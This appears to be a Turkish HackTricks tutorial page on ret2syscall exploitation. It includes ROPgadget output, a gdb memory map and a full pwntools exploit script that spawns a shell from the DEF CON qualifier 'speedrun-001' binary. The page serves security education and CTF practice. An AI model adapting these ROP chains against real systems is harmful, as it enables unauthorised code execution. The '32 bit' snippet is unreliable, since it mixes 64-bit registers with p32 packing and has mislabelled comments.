Ret2syscall

Ret2syscall

Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

Bu, Ret2lib'e benzer, ancak bu durumda bir kütüphaneden bir işlev çağırmayacağız. Bu durumda, sys_execve sistem çağrısını çağırmak için bazı argümanlarla yapılandırılmış her şeyi çağırmak için hazırlanacaktır ve /bin/sh'yi yürütmek için. Bu teknik genellikle statik olarak derlenen ikili dosyalarda gerçekleştirilir, bu nedenle birçok aygıt ve sistem çağrısı talimatı olabilir.

Syscall için çağrının hazırlanması için aşağıdaki yapılandırmaya ihtiyaç vardır:

  • rax: 59 sys_execve'yi belirtin

  • rdi: "/bin/sh" için işlem yapılacak dosyanın işaretçisini belirtin

  • rsi: 0 argüman geçirilmediğini belirtin

  • rdx: 0 ortam değişkeni geçirilmediğini belirtin

Yani, temelde /bin/sh dizesini bir yere yazmak ve ardından syscall işlemini gerçekleştirmek gerekmektedir (yığını kontrol etmek için gereken dolgu miktarını bilerek). Bunun için, /bin/sh dizesini bilinen bir alana yazmak için bir aygıta ihtiyacımız vardır.

Çağrılacak başka ilginç bir sistem çağrısı mprotect olabilir, bu, bir saldırganın bellekte bir sayfanın izinlerini değiştirmesine izin verir. Bu, ret2shellcode ile birleştirilebilir.

Register aygıtları

Başlayalım ve bu kayıtları nasıl kontrol edeceğimizi bulalım:

ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret

Bu adreslerle yığında içerik yazmak ve onu kayıtlara yüklemek mümkün.

Dize yaz

Yazılabilir bellek

İlk olarak bellekte yazılabilir bir yer bulmanız gerekmektedir.

gef> vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]

Belleğe Dize Yazma

Ardından bu adrese isteğe bağlı içerik yazmak için bir yol bulmanız gerekmektedir.

ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx

ROP zincirini otomatikleştir

Aşağıdaki komut, yazma-ne-nerede gadget'ları ve sistem çağrısı talimatları olduğunda sabit bir ikili dosya verildiğinde tam bir sys_execve ROP zinciri oluşturur:

ROPgadget --binary vuln --ropchain

32 bit

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''

rop += popRdx           # place value into EAX
rop += "/bin"           # 4 bytes at a time
rop += popRax           # place value into edx
rop += p32(0x6b6000)    # Writable memory
rop += writeGadget   #Address to: mov qword ptr [rax], rdx

rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget

64 bit

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx

Eksik Cihazlar

Eğer cihazlarınız eksikse, örneğin belleğe /bin/sh yazmak için, SROP tekniğini kullanabilirsiniz tüm kayıt değerlerini kontrol etmek için (RIP ve parametre kayıtları dahil) yığından:

pageSROP - Sigreturn-Oriented Programming

```python from pwn import *

target = process('./speedrun-001') #gdb.attach(target, gdbscript = 'b *0x400bad')

Establish our ROP Gadgets

popRax = p64(0x415664) popRdi = p64(0x400686) popRsi = p64(0x4101f3) popRdx = p64(0x4498b5)

0x000000000048d251 : mov qword ptr [rax], rdx ; ret

writeGadget = p64(0x48d251)

Our syscall gadget

syscall = p64(0x40129c)

''' Here is the assembly equivalent for these blocks write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop = '' rop += popRdx rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end rop += popRax rop += p64(0x6b6000) rop += writeGadget

''' Prep the four registers with their arguments, and make the syscall

pop rax, 0x3b pop rdi, 0x6b6000 pop rsi, 0x0 pop rdx, 0x0

syscall '''

rop += popRax rop += p64(0x3b)

rop += popRdi rop += p64(0x6b6000)

rop += popRsi rop += p64(0) rop += popRdx rop += p64(0)

rop += syscall

Add the padding to the saved return address

payload = "0"*0x408 + rop

Send the payload, drop to an interactive shell to use our new shell

target.sendline(payload)

target.interactive()

## Diğer Örnekler ve Referanslar

* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
* 64 bit, PIE olmadan, nx, `execve` çağırmak için bir ROP yaz ve oraya atla.
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
* 64 bit, nx, PIE olmadan, `execve` çağırmak için bir ROP yaz ve oraya atla. Matematiksel işlemler gerçekleştiren bir fonksiyonun yığına yazılması kötüye kullanılır.
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 bit, PIE olmadan, nx, BF canary, `execve` çağırmak için bir ROP yaz ve oraya atla.

Last updated